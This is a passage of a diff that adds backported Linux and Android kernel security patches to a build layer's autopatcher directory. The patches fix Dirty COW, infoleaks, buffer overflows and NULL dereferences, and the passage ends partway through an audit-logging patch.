FOLL_COW 0x4000 /* internal GUP flag */ + + typedef int (*pte_fn_t)(pte_t *pte, pgtable_t token, unsigned long addr, + void *data); +diff --git a/mm/memory.c b/mm/memory.c +index 10cdadef40f9..2ca2ee113ea2 100644 +--- a/mm/memory.c ++++ b/mm/memory.c +@@ -1462,6 +1462,16 @@ int zap_vma_ptes(struct vm_area_struct *vma, unsigned long address, + } + EXPORT_SYMBOL_GPL(zap_vma_ptes); + ++/* ++ * FOLL_FORCE can write to even unwritable pte's, but only ++ * after we've gone through a COW cycle and they are dirty. ++ */ ++static inline bool can_follow_write_pte(pte_t pte, unsigned int flags) ++{ ++ return pte_write(pte) || ++ ((flags & FOLL_FORCE) && (flags & FOLL_COW) && pte_dirty(pte)); ++} ++ + /** + * follow_page_mask - look up a page descriptor from a user-virtual address + * @vma: vm_area_struct mapping @address +@@ -1569,7 +1579,7 @@ split_fallthrough: + } + if ((flags & FOLL_NUMA) && pte_numa(pte)) + goto no_page; +- if ((flags & FOLL_WRITE) && !pte_write(pte)) ++ if ((flags & FOLL_WRITE) && !can_follow_write_pte(pte, flags)) + goto unlock; + + page = vm_normal_page(vma, address, pte); +@@ -1877,7 +1887,7 @@ long __get_user_pages(struct task_struct *tsk, struct mm_struct *mm, + */ + if ((ret & VM_FAULT_WRITE) && + !(vma->vm_flags & VM_WRITE)) +- foll_flags &= ~FOLL_WRITE; ++ foll_flags |= FOLL_COW; + + cond_resched(); + } +-- +cgit 1.2-0.3.lf.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0266-4116def23379-rds fix an infoleak in rdsincinfocopy.patch b/recipes-kernel/linux/linux-bass/autopatcher/0266-4116def23379-rds fix an infoleak in rdsincinfocopy.patch new file mode 100644 index 0000000..a2a5eaa --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0266-4116def23379-rds fix an infoleak in rdsincinfocopy.patch @@ -0,0 +1,31 @@ +From 4116def2337991b39919f3b448326e21c40e0dbb Mon Sep 17 00:00:00 2001 +From: Kangjie Lu +Date: Thu, 2 Jun 2016 04:11:20 -0400 +Subject: rds: fix an infoleak in rds_inc_info_copy + +The last field "flags" of object "minfo" is not initialized. +Copying this object out may leak kernel stack data. +Assign 0 to it to avoid leak. + +Signed-off-by: Kangjie Lu +Acked-by: Santosh Shilimkar +Signed-off-by: David S. Miller +--- + net/rds/recv.c | 2 ++ + 1 file changed, 2 insertions(+) + +diff --git a/net/rds/recv.c b/net/rds/recv.c +index c0be1ecd11c99..8413f6c99e135 100644 +--- a/net/rds/recv.c ++++ b/net/rds/recv.c +@@ -561,5 +561,7 @@ void rds_inc_info_copy(struct rds_incoming *inc, + minfo.fport = inc->i_hdr.h_dport; + } + ++ minfo.flags = 0; ++ + rds_info_copy(iter, &minfo, sizeof(minfo)); + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0267-06e51489061e-ashmem Validate ashmem memory with fops pointer.patch b/recipes-kernel/linux/linux-bass/autopatcher/0267-06e51489061e-ashmem Validate ashmem memory with fops pointer.patch new file mode 100644 index 0000000..a2e3ed8 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0267-06e51489061e-ashmem Validate ashmem memory with fops pointer.patch @@ -0,0 +1,82 @@ +From 06e51489061e5473b4e2035c79dcf7c27a6f75a6 Mon Sep 17 00:00:00 2001 +From: Sunil Khatri +Date: Wed, 22 Jun 2016 14:45:31 +0530 +Subject: ashmem: Validate ashmem memory with fops pointer + +Validate the ashmem memory entry against f_op pointer +rather then comparing its name with path of the dentry. + +This is to avoid any invalid access to ashmem area in cases +where some one deliberately set the dentry name to /ashmem. + +Change-Id: I74e50cd244f68cb13009cf2355e528485f4de34b +Signed-off-by: Sunil Khatri +--- + drivers/staging/android/ashmem.c | 42 +++++++++++++++++++--------------------- + 1 file changed, 20 insertions(+), 22 deletions(-) + +diff --git a/drivers/staging/android/ashmem.c b/drivers/staging/android/ashmem.c +index 808acd4..ee79ac8 100644 +--- a/drivers/staging/android/ashmem.c ++++ b/drivers/staging/android/ashmem.c +@@ -766,11 +766,28 @@ static long compat_ashmem_ioctl(struct file *file, unsigned int cmd, unsigned lo + } + #endif + ++static const struct file_operations ashmem_fops = { ++ .owner = THIS_MODULE, ++ .open = ashmem_open, ++ .release = ashmem_release, ++ .read = ashmem_read, ++ .llseek = ashmem_llseek, ++ .mmap = ashmem_mmap, ++ .unlocked_ioctl = ashmem_ioctl, ++#ifdef CONFIG_COMPAT ++ .compat_ioctl = compat_ashmem_ioctl, ++#endif ++}; ++ ++static struct miscdevice ashmem_misc = { ++ .minor = MISC_DYNAMIC_MINOR, ++ .name = "ashmem", ++ .fops = &ashmem_fops, ++}; ++ + static int is_ashmem_file(struct file *file) + { +- char fname[256], *name; +- name = dentry_path(file->f_dentry, fname, 256); +- return strcmp(name, "/ashmem") ? 0 : 1; ++ return (file->f_op == &ashmem_fops); + } + + int get_ashmem_file(int fd, struct file **filp, struct file **vm_file, +@@ -819,25 +836,6 @@ void put_ashmem_file(struct file *file) + } + EXPORT_SYMBOL(put_ashmem_file); + +-static const struct file_operations ashmem_fops = { +- .owner = THIS_MODULE, +- .open = ashmem_open, +- .release = ashmem_release, +- .read = ashmem_read, +- .llseek = ashmem_llseek, +- .mmap = ashmem_mmap, +- .unlocked_ioctl = ashmem_ioctl, +-#ifdef CONFIG_COMPAT +- .compat_ioctl = compat_ashmem_ioctl, +-#endif +-}; +- +-static struct miscdevice ashmem_misc = { +- .minor = MISC_DYNAMIC_MINOR, +- .name = "ashmem", +- .fops = &ashmem_fops, +-}; +- + static int __init ashmem_init(void) + { + int ret; +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0268-67118716a293-radioiris check argument values before copying the data.patch b/recipes-kernel/linux/linux-bass/autopatcher/0268-67118716a293-radioiris check argument values before copying the data.patch new file mode 100644 index 0000000..af62b13 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0268-67118716a293-radioiris check argument values before copying the data.patch @@ -0,0 +1,55 @@ +From 67118716a2933f6f30a25ea7e3946569a8b191c6 Mon Sep 17 00:00:00 2001 +From: Kamal Negi +Date: Wed, 19 Oct 2016 18:59:11 +0530 +Subject: radio-iris: check argument values before copying the data + +Check arguments passed in an ioctl before copying the data to kernel +buffers. If user sends an erroneous data, data length more than expected, +will lead to buffer overflow. + +Change-Id: I663e937806f38dc3b04c8d7662cd8b045facd12b +Signed-off-by: Kamal Negi +--- + drivers/media/radio/radio-iris.c | 19 ++++++++++++++++--- + 1 file changed, 16 insertions(+), 3 deletions(-) + +diff --git a/drivers/media/radio/radio-iris.c b/drivers/media/radio/radio-iris.c +index b3088eb..bd4eb92 100644 +--- a/drivers/media/radio/radio-iris.c ++++ b/drivers/media/radio/radio-iris.c +@@ -3884,8 +3884,20 @@ static int iris_vidioc_s_ext_ctrls(struct file *file, void *priv, + bytes_to_copy = (ctrl->controls[0]).size; + spur_tbl_req.mode = data[0]; + spur_tbl_req.no_of_freqs_entries = data[1]; +- spur_data = kmalloc((data[1] * SPUR_DATA_LEN) + 2, +- GFP_ATOMIC); ++ ++ if (((spur_tbl_req.no_of_freqs_entries * SPUR_DATA_LEN) != ++ bytes_to_copy - 2) || ++ ((spur_tbl_req.no_of_freqs_entries * SPUR_DATA_LEN) > ++ 2 * FM_SPUR_TBL_SIZE)) { ++ FMDERR("Invalid data len: data[1] = %d, bytes = %zu", ++ spur_tbl_req.no_of_freqs_entries, ++ bytes_to_copy); ++ retval = -EINVAL; ++ goto END; ++ } ++ spur_data = ++ kmalloc((spur_tbl_req.no_of_freqs_entries * SPUR_DATA_LEN) ++ + 2, GFP_ATOMIC); + if (!spur_data) { + FMDERR("Allocation failed for Spur data"); + retval = -EFAULT; +@@ -3900,7 +3912,8 @@ static int iris_vidioc_s_ext_ctrls(struct file *file, void *priv, + + if (spur_tbl_req.no_of_freqs_entries <= ENTRIES_EACH_CMD) { + memcpy(&spur_tbl_req.spur_data[0], spur_data, +- (data[1] * SPUR_DATA_LEN)); ++ (spur_tbl_req.no_of_freqs_entries * ++ SPUR_DATA_LEN)); + retval = radio_hci_request(radio->fm_hdev, + hci_fm_set_spur_tbl_req, + (unsigned long)&spur_tbl_req, +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0269-b1f32b94ac67-tcp make challenge acks less predictable.patch b/recipes-kernel/linux/linux-bass/autopatcher/0269-b1f32b94ac67-tcp make challenge acks less predictable.patch new file mode 100644 index 0000000..868d670 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0269-b1f32b94ac67-tcp make challenge acks less predictable.patch @@ -0,0 +1,87 @@ +From b1f32b94ac6760f04d548b4d15e0c1f3b3c52720 Mon Sep 17 00:00:00 2001 +From: "Charles (Chas) Williams" +Date: Tue, 16 Aug 2016 16:50:11 -0400 +Subject: tcp: make challenge acks less predictable + +commit 75ff39ccc1bd5d3c455b6822ab09e533c551f758 upstream. + +From: Eric Dumazet + +Yue Cao claims that current host rate limiting of challenge ACKS +(RFC 5961) could leak enough information to allow a patient attacker +to hijack TCP sessions. He will soon provide details in an academic +paper. + +This patch increases the default limit from 100 to 1000, and adds +some randomization so that the attacker can no longer hijack +sessions without spending a considerable amount of probes. + +Based on initial analysis and patch from Linus. + +Note that we also have per socket rate limiting, so it is tempting +to remove the host limit in the future. + +v2: randomize the count of challenge acks per second, not the period. + +Fixes: 282f23c6ee34 ("tcp: implement RFC 5961 3.2") +Reported-by: Yue Cao +Signed-off-by: Eric Dumazet +Suggested-by: Linus Torvalds +Cc: Yuchung Cheng +Cc: Neal Cardwell +Acked-by: Neal Cardwell +Acked-by: Yuchung Cheng +Signed-off-by: David S. Miller +[ ciwillia: backport to 3.10-stable ] +Signed-off-by: Chas Williams +Signed-off-by: Willy Tarreau +--- + net/ipv4/tcp_input.c | 14 +++++++++++--- + 1 file changed, 11 insertions(+), 3 deletions(-) + +diff --git a/net/ipv4/tcp_input.c b/net/ipv4/tcp_input.c +index f89087c3cfc8..f3b15bb7fbec 100644 +--- a/net/ipv4/tcp_input.c ++++ b/net/ipv4/tcp_input.c +@@ -68,6 +68,7 @@ + #include + #include + #include ++#include + #include + #include + #include +@@ -87,7 +88,7 @@ int sysctl_tcp_adv_win_scale __read_mostly = 1; + EXPORT_SYMBOL(sysctl_tcp_adv_win_scale); + + /* rfc5961 challenge ack rate limiting */ +-int sysctl_tcp_challenge_ack_limit = 100; ++int sysctl_tcp_challenge_ack_limit = 1000; + + int sysctl_tcp_stdurg __read_mostly; + int sysctl_tcp_rfc1337 __read_mostly; +@@ -3288,12 +3289,19 @@ static void tcp_send_challenge_ack(struct sock *sk) + static u32 challenge_timestamp; + static unsigned int challenge_count; + u32 now = jiffies / HZ; ++ u32 count; + + if (now != challenge_timestamp) { ++ u32 half = (sysctl_tcp_challenge_ack_limit + 1) >> 1; ++ + challenge_timestamp = now; +- challenge_count = 0; ++ ACCESS_ONCE(challenge_count) = half + ++ reciprocal_divide(prandom_u32(), ++ sysctl_tcp_challenge_ack_limit); + } +- if (++challenge_count <= sysctl_tcp_challenge_ack_limit) { ++ count = ACCESS_ONCE(challenge_count); ++ if (count > 0) { ++ ACCESS_ONCE(challenge_count) = count - 1; + NET_INC_STATS_BH(sock_net(sk), LINUX_MIB_TCPCHALLENGEACK); + tcp_send_ack(sk); + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0270-8110080dc533-powerpctm Always reclaim in startthread for exec class.patch b/recipes-kernel/linux/linux-bass/autopatcher/0270-8110080dc533-powerpctm Always reclaim in startthread for exec class.patch new file mode 100644 index 0000000..779e21e --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0270-8110080dc533-powerpctm Always reclaim in startthread for exec class.patch @@ -0,0 +1,114 @@ +From 8110080dc53335d5dd99b123144a6174f19ffc65 Mon Sep 17 00:00:00 2001 +From: Cyril Bur +Date: Fri, 17 Jun 2016 14:58:34 +1000 +Subject: powerpc/tm: Always reclaim in start_thread() for exec() class + syscalls + +commit 8e96a87c5431c256feb65bcfc5aec92d9f7839b6 upstream. + +Userspace can quite legitimately perform an exec() syscall with a +suspended transaction. exec() does not return to the old process, rather +it load a new one and starts that, the expectation therefore is that the +new process starts not in a transaction. Currently exec() is not treated +any differently to any other syscall which creates problems. + +Firstly it could allow a new process to start with a suspended +transaction for a binary that no longer exists. This means that the +checkpointed state won't be valid and if the suspended transaction were +ever to be resumed and subsequently aborted (a possibility which is +exceedingly likely as exec()ing will likely doom the transaction) the +new process will jump to invalid state. + +Secondly the incorrect attempt to keep the transactional state while +still zeroing state for the new process creates at least two TM Bad +Things. The first triggers on the rfid to return to userspace as +start_thread() has given the new process a 'clean' MSR but the suspend +will still be set in the hardware MSR. The second TM Bad Thing triggers +in __switch_to() as the processor is still transactionally suspended but +__switch_to() wants to zero the TM sprs for the new process. + +This is an example of the outcome of calling exec() with a suspended +transaction. Note the first 700 is likely the first TM bad thing +decsribed earlier only the kernel can't report it as we've loaded +userspace registers. c000000000009980 is the rfid in +fast_exception_return() + + Bad kernel stack pointer 3fffcfa1a370 at c000000000009980 + Oops: Bad kernel stack pointer, sig: 6 [#1] + CPU: 0 PID: 2006 Comm: tm-execed Not tainted + NIP: c000000000009980 LR: 0000000000000000 CTR: 0000000000000000 + REGS: c00000003ffefd40 TRAP: 0700 Not tainted + MSR: 8000000300201031 CR: 00000000 XER: 00000000 + CFAR: c0000000000098b4 SOFTE: 0 + PACATMSCRATCH: b00000010000d033 + GPR00: 0000000000000000 00003fffcfa1a370 0000000000000000 0000000000000000 + GPR04: 0000000000000000 0000000000000000 0000000000000000 0000000000000000 + GPR08: 0000000000000000 0000000000000000 0000000000000000 0000000000000000 + GPR12: 00003fff966611c0 0000000000000000 0000000000000000 0000000000000000 + NIP [c000000000009980] fast_exception_return+0xb0/0xb8 + LR [0000000000000000] (null) + Call Trace: + Instruction dump: + f84d0278 e9a100d8 7c7b03a6 e84101a0 7c4ff120 e8410170 7c5a03a6 e8010070 + e8410080 e8610088 e8810090 e8210078 <4c000024> 48000000 e8610178 88ed023b + + Kernel BUG at c000000000043e80 [verbose debug info unavailable] + Unexpected TM Bad Thing exception at c000000000043e80 (msr 0x201033) + Oops: Unrecoverable exception, sig: 6 [#2] + CPU: 0 PID: 2006 Comm: tm-execed Tainted: G D + task: c0000000fbea6d80 ti: c00000003ffec000 task.ti: c0000000fb7ec000 + NIP: c000000000043e80 LR: c000000000015a24 CTR: 0000000000000000 + REGS: c00000003ffef7e0 TRAP: 0700 Tainted: G D + MSR: 8000000300201033 CR: 28002828 XER: 00000000 + CFAR: c000000000015a20 SOFTE: 0 + PACATMSCRATCH: b00000010000d033 + GPR00: 0000000000000000 c00000003ffefa60 c000000000db5500 c0000000fbead000 + GPR04: 8000000300001033 2222222222222222 2222222222222222 00000000ff160000 + GPR08: 0000000000000000 800000010000d033 c0000000fb7e3ea0 c00000000fe00004 + GPR12: 0000000000002200 c00000000fe00000 0000000000000000 0000000000000000 + GPR16: 0000000000000000 0000000000000000 0000000000000000 0000000000000000 + GPR20: 0000000000000000 0000000000000000 c0000000fbea7410 00000000ff160000 + GPR24: c0000000ffe1f600 c0000000fbea8700 c0000000fbea8700 c0000000fbead000 + GPR28: c000000000e20198 c0000000fbea6d80 c0000000fbeab680 c0000000fbea6d80 + NIP [c000000000043e80] tm_restore_sprs+0xc/0x1c + LR [c000000000015a24] __switch_to+0x1f4/0x420 + Call Trace: + Instruction dump: + 7c800164 4e800020 7c0022a6 f80304a8 7c0222a6 f80304b0 7c0122a6 f80304b8 + 4e800020 e80304a8 7c0023a6 e80304b0 <7c0223a6> e80304b8 7c0123a6 4e800020 + +This fixes CVE-2016-5828. + +Fixes: bc2a9408fa65 ("powerpc: Hook in new transactional memory code") +Cc: stable@vger.kernel.org # v3.9+ +Signed-off-by: Cyril Bur +Signed-off-by: Michael Ellerman +Signed-off-by: Willy Tarreau +--- + arch/powerpc/kernel/process.c | 10 ++++++++++ + 1 file changed, 10 insertions(+) + +diff --git a/arch/powerpc/kernel/process.c b/arch/powerpc/kernel/process.c +index d55357ee90283..a5e339806589d 100644 +--- a/arch/powerpc/kernel/process.c ++++ b/arch/powerpc/kernel/process.c +@@ -1088,6 +1088,16 @@ void start_thread(struct pt_regs *regs, unsigned long start, unsigned long sp) + current->thread.regs = regs - 1; + } + ++#ifdef CONFIG_PPC_TRANSACTIONAL_MEM ++ /* ++ * Clear any transactional state, we're exec()ing. The cause is ++ * not important as there will never be a recheckpoint so it's not ++ * user visible. ++ */ ++ if (MSR_TM_SUSPENDED(mfmsr())) ++ tm_reclaim_current(0); ++#endif ++ + memset(regs->gpr, 0, sizeof(regs->gpr)); + regs->ctr = 0; + regs->link = 0; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0271-ba293572f4a8-HID hiddev validate numvalues for HIDIOCGUSAGES HIDIOCSUSAGES.patch b/recipes-kernel/linux/linux-bass/autopatcher/0271-ba293572f4a8-HID hiddev validate numvalues for HIDIOCGUSAGES HIDIOCSUSAGES.patch new file mode 100644 index 0000000..483f980 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0271-ba293572f4a8-HID hiddev validate numvalues for HIDIOCGUSAGES HIDIOCSUSAGES.patch @@ -0,0 +1,50 @@ +From ba293572f4a824d995216914d2d0ce655a604dbc Mon Sep 17 00:00:00 2001 +From: Scott Bauer +Date: Fri, 15 Jul 2016 15:08:21 -0400 +Subject: HID: hiddev: validate num_values for HIDIOCGUSAGES, HIDIOCSUSAGES + commands + +commit 93a2001bdfd5376c3dc2158653034c20392d15c5 upstream. + +This patch validates the num_values parameter from userland during the +HIDIOCGUSAGES and HIDIOCSUSAGES commands. Previously, if the report id was set +to HID_REPORT_ID_UNKNOWN, we would fail to validate the num_values parameter +leading to a heap overflow. + +CVE-2016-5829 + +Cc: stable@vger.kernel.org +Signed-off-by: Scott Bauer +Signed-off-by: Jiri Kosina +Signed-off-by: Chas Williams +Signed-off-by: Willy Tarreau +--- + drivers/hid/usbhid/hiddev.c | 10 +++++----- + 1 file changed, 5 insertions(+), 5 deletions(-) + +diff --git a/drivers/hid/usbhid/hiddev.c b/drivers/hid/usbhid/hiddev.c +index 2f1ddca6f2e0..700145b15088 100644 +--- a/drivers/hid/usbhid/hiddev.c ++++ b/drivers/hid/usbhid/hiddev.c +@@ -516,13 +516,13 @@ static noinline int hiddev_ioctl_usage(struct hiddev *hiddev, unsigned int cmd, + goto inval; + } else if (uref->usage_index >= field->report_count) + goto inval; +- +- else if ((cmd == HIDIOCGUSAGES || cmd == HIDIOCSUSAGES) && +- (uref_multi->num_values > HID_MAX_MULTI_USAGES || +- uref->usage_index + uref_multi->num_values > field->report_count)) +- goto inval; + } + ++ if ((cmd == HIDIOCGUSAGES || cmd == HIDIOCSUSAGES) && ++ (uref_multi->num_values > HID_MAX_MULTI_USAGES || ++ uref->usage_index + uref_multi->num_values > field->report_count)) ++ goto inval; ++ + switch (cmd) { + case HIDIOCGUSAGE: + uref->value = field->value[uref->usage_index]; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0272-302b5348ecbb-ASoC msm qdsp6v2 DAP Add check to validate param length.patch b/recipes-kernel/linux/linux-bass/autopatcher/0272-302b5348ecbb-ASoC msm qdsp6v2 DAP Add check to validate param length.patch new file mode 100644 index 0000000..81b2bac --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0272-302b5348ecbb-ASoC msm qdsp6v2 DAP Add check to validate param length.patch @@ -0,0 +1,51 @@ +From 302b5348ecbba8cf032a9ffaaa63222a2b285d89 Mon Sep 17 00:00:00 2001 +From: Sharad Sangle +Date: Tue, 13 Dec 2016 14:35:39 +0530 +Subject: ASoC: msm: qdsp6v2: DAP: Add check to validate param length + +To avoid buffer overflow, validate input length used to +fetch visualizer data. + +CRs-fixed: 1096672 +Change-Id: I224bc2f20d94182713c565972fb0bd52cad6f3fd +Signed-off-by: Sharad Sangle +--- + sound/soc/msm/qdsp6v2/msm-dolby-dap-config.c | 11 ++++++++++- + 1 file changed, 10 insertions(+), 1 deletion(-) + +diff --git a/sound/soc/msm/qdsp6v2/msm-dolby-dap-config.c b/sound/soc/msm/qdsp6v2/msm-dolby-dap-config.c +index bb0f890..5866e46 100644 +--- a/sound/soc/msm/qdsp6v2/msm-dolby-dap-config.c ++++ b/sound/soc/msm/qdsp6v2/msm-dolby-dap-config.c +@@ -1,4 +1,4 @@ +-/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. ++/* Copyright (c) 2013-2014, 2016, The Linux Foundation. All rights reserved. + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. +@@ -18,6 +18,10 @@ + + #include "msm-dolby-dap-config.h" + ++#ifndef DOLBY_PARAM_VCNB_MAX_LENGTH ++#define DOLBY_PARAM_VCNB_MAX_LENGTH 40 ++#endif ++ + /* dolby endp based parameters */ + struct dolby_dap_endp_params_s { + int device; +@@ -896,6 +900,11 @@ int msm_dolby_dap_param_visualizer_control_get(struct snd_kcontrol *kcontrol, + uint32_t param_payload_len = + DOLBY_PARAM_PAYLOAD_SIZE * sizeof(uint32_t); + int port_id, copp_idx, idx; ++ if (length > DOLBY_PARAM_VCNB_MAX_LENGTH || length <= 0) { ++ pr_err("%s Incorrect VCNB length", __func__); ++ ucontrol->value.integer.value[0] = 0; ++ return -EINVAL; ++ } + for (idx = 0; idx < AFE_MAX_PORTS; idx++) { + port_id = dolby_dap_params_states.port_id[idx]; + copp_idx = dolby_dap_params_states.copp_idx[idx]; +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0273-8db70aafea51-ASoC msm qdsp6v2 DAP Add check to validate param length.patch b/recipes-kernel/linux/linux-bass/autopatcher/0273-8db70aafea51-ASoC msm qdsp6v2 DAP Add check to validate param length.patch new file mode 100644 index 0000000..fd84559 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0273-8db70aafea51-ASoC msm qdsp6v2 DAP Add check to validate param length.patch @@ -0,0 +1,51 @@ +From 8db70aafea51b60dbe9faaba5707be0046758521 Mon Sep 17 00:00:00 2001 +From: Sharad Sangle +Date: Mon, 19 Dec 2016 17:00:25 +0530 +Subject: ASoC: msm: qdsp6v2: DAP: Add check to validate param length + +To avoid buffer overflow, validate input length used to +set Dolby params. + +Change-Id: I3f9d6040f118f63b60c20c83b0d8cae638f4a530 +CRs-Fixed: 1095947 +Signed-off-by: Sharad Sangle +--- + sound/soc/msm/qdsp6v2/msm-dolby-dap-config.c | 15 ++++++++++++++- + 1 file changed, 14 insertions(+), 1 deletion(-) + +diff --git a/sound/soc/msm/qdsp6v2/msm-dolby-dap-config.c b/sound/soc/msm/qdsp6v2/msm-dolby-dap-config.c +index bb0f890..493daf4 100644 +--- a/sound/soc/msm/qdsp6v2/msm-dolby-dap-config.c ++++ b/sound/soc/msm/qdsp6v2/msm-dolby-dap-config.c +@@ -677,7 +677,7 @@ int msm_dolby_dap_param_to_set_control_put(struct snd_kcontrol *kcontrol, + struct snd_ctl_elem_value *ucontrol) + { + int rc = 0, port_id, copp_idx; +- uint32_t idx, j; ++ uint32_t idx, j, current_offset; + uint32_t device = ucontrol->value.integer.value[0]; + uint32_t param_id = ucontrol->value.integer.value[1]; + uint32_t offset = ucontrol->value.integer.value[2]; +@@ -754,6 +754,19 @@ int msm_dolby_dap_param_to_set_control_put(struct snd_kcontrol *kcontrol, + default: { + /* cache the parameters */ + dolby_dap_params_modified[idx] += 1; ++ current_offset = dolby_dap_params_offset[idx] + offset; ++ if (current_offset >= TOTAL_LENGTH_DOLBY_PARAM) { ++ pr_err("%s: invalid offset %d at idx %d\n", ++ __func__, offset, idx); ++ return -EINVAL; ++ } ++ if ((0 == length) || (current_offset + length - 1 ++ < current_offset) || (current_offset + length ++ > TOTAL_LENGTH_DOLBY_PARAM)) { ++ pr_err("%s: invalid length %d at idx %d\n", ++ __func__, length, idx); ++ return -EINVAL; ++ } + dolby_dap_params_length[idx] = length; + pr_debug("%s: param recvd deviceId=0x%x paramId=0x%x offset=%d length=%d\n", + __func__, device, param_id, offset, length); +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0274-71fe5361cbef-net ipcrouter fix NULL pointer dereference issue.patch b/recipes-kernel/linux/linux-bass/autopatcher/0274-71fe5361cbef-net ipcrouter fix NULL pointer dereference issue.patch new file mode 100644 index 0000000..c303993 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0274-71fe5361cbef-net ipcrouter fix NULL pointer dereference issue.patch @@ -0,0 +1,44 @@ +From 71fe5361cbef34e2d606b79e8936a910a3e95566 Mon Sep 17 00:00:00 2001 +From: Arun Kumar Neelakantam +Date: Wed, 21 Sep 2016 18:34:01 +0530 +Subject: net: ipc_router: fix NULL pointer de-reference issue + +Fail cases of accept() system call on AF_MSM_IPC socket family causes +NULL pointer de-reference of sock structure variable in release operation. + +Validate the sock structure pointer before using it in release operation. + +CRs-Fixed: 1068888 +Change-Id: I5637e52be59ea9504ea6ae317394bef0c28c7865 +Signed-off-by: Arun Kumar Neelakantam +--- + net/ipc_router/ipc_router_socket.c | 10 +++++++++- + 1 file changed, 9 insertions(+), 1 deletion(-) + +diff --git a/net/ipc_router/ipc_router_socket.c b/net/ipc_router/ipc_router_socket.c +index 828797b..652531a 100644 +--- a/net/ipc_router/ipc_router_socket.c ++++ b/net/ipc_router/ipc_router_socket.c +@@ -555,10 +555,18 @@ static unsigned int msm_ipc_router_poll(struct file *file, + static int msm_ipc_router_close(struct socket *sock) + { + struct sock *sk = sock->sk; +- struct msm_ipc_port *port_ptr = msm_ipc_sk_port(sk); ++ struct msm_ipc_port *port_ptr; + int ret; + ++ if (!sk) ++ return -EINVAL; ++ + lock_sock(sk); ++ port_ptr = msm_ipc_sk_port(sk); ++ if (!port_ptr) { ++ release_sock(sk); ++ return -EINVAL; ++ } + ret = msm_ipc_router_close_port(port_ptr); + msm_ipc_unload_default_node(msm_ipc_sk(sk)->default_node_vote_info); + release_sock(sk); +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0275.diff b/recipes-kernel/linux/linux-bass/autopatcher/0275.diff new file mode 100644 index 0000000..cb5dda7 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0275.diff @@ -0,0 +1,375 @@ +diff --git a/kernel/auditsc.c b/kernel/auditsc.c +index 3c8a601..271331c 100644 +--- a/kernel/auditsc.c ++++ b/kernel/auditsc.c +@@ -68,6 +68,7 @@ + #include + #include + #include ++#include + + #include "audit.h" + +@@ -76,7 +77,8 @@ + #define AUDITSC_SUCCESS 1 + #define AUDITSC_FAILURE 2 + +-/* no execve audit message should be longer than this (userspace limits) */ ++/* no execve audit message should be longer than this (userspace limits), ++ * see the note near the top of audit_log_execve_info() about this value */ + #define MAX_EXECVE_AUDIT_LEN 7500 + + /* number of audit rules */ +@@ -1001,189 +1003,184 @@ + return rc; + } + +-/* +- * to_send and len_sent accounting are very loose estimates. We aren't +- * really worried about a hard cap to MAX_EXECVE_AUDIT_LEN so much as being +- * within about 500 bytes (next page boundary) +- * +- * why snprintf? an int is up to 12 digits long. if we just assumed when +- * logging that a[%d]= was going to be 16 characters long we would be wasting +- * space in every audit message. In one 7500 byte message we can log up to +- * about 1000 min size arguments. That comes down to about 50% waste of space +- * if we didn't do the snprintf to find out how long arg_num_len was. +- */ +-static int audit_log_single_execve_arg(struct audit_context *context, +- struct audit_buffer **ab, +- int arg_num, +- size_t *len_sent, +- const char __user *p, +- char *buf) +-{ +- char arg_num_len_buf[12]; +- const char __user *tmp_p = p; +- /* how many digits are in arg_num? 5 is the length of ' a=""' */ +- size_t arg_num_len = snprintf(arg_num_len_buf, 12, "%d", arg_num) + 5; +- size_t len, len_left, to_send; +- size_t max_execve_audit_len = MAX_EXECVE_AUDIT_LEN; +- unsigned int i, has_cntl = 0, too_long = 0; +- int ret; +- +- /* strnlen_user includes the null we don't want to send */ +- len_left = len = strnlen_user(p, MAX_ARG_STRLEN) - 1; +- +- /* +- * We just created this mm, if we can't find the strings +- * we just copied into it something is _very_ wrong. Similar +- * for strings that are too long, we should not have created +- * any. +- */ +- if (unlikely((len == -1) || len > MAX_ARG_STRLEN - 1)) { +- WARN_ON(1); +- send_sig(SIGKILL, current, 0); +- return -1; +- } +- +- /* walk the whole argument looking for non-ascii chars */ +- do { +- if (len_left > MAX_EXECVE_AUDIT_LEN) +- to_send = MAX_EXECVE_AUDIT_LEN; +- else +- to_send = len_left; +- ret = copy_from_user(buf, tmp_p, to_send); +- /* +- * There is no reason for this copy to be short. We just +- * copied them here, and the mm hasn't been exposed to user- +- * space yet. +- */ +- if (ret) { +- WARN_ON(1); +- send_sig(SIGKILL, current, 0); +- return -1; +- } +- buf[to_send] = '\0'; +- has_cntl = audit_string_contains_control(buf, to_send); +- if (has_cntl) { +- /* +- * hex messages get logged as 2 bytes, so we can only +- * send half as much in each message +- */ +- max_execve_audit_len = MAX_EXECVE_AUDIT_LEN / 2; +- break; +- } +- len_left -= to_send; +- tmp_p += to_send; +- } while (len_left > 0); +- +- len_left = len; +- +- if (len > max_execve_audit_len) +- too_long = 1; +- +- /* rewalk the argument actually logging the message */ +- for (i = 0; len_left > 0; i++) { +- int room_left; +- +- if (len_left > max_execve_audit_len) +- to_send = max_execve_audit_len; +- else +- to_send = len_left; +- +- /* do we have space left to send this argument in this ab? */ +- room_left = 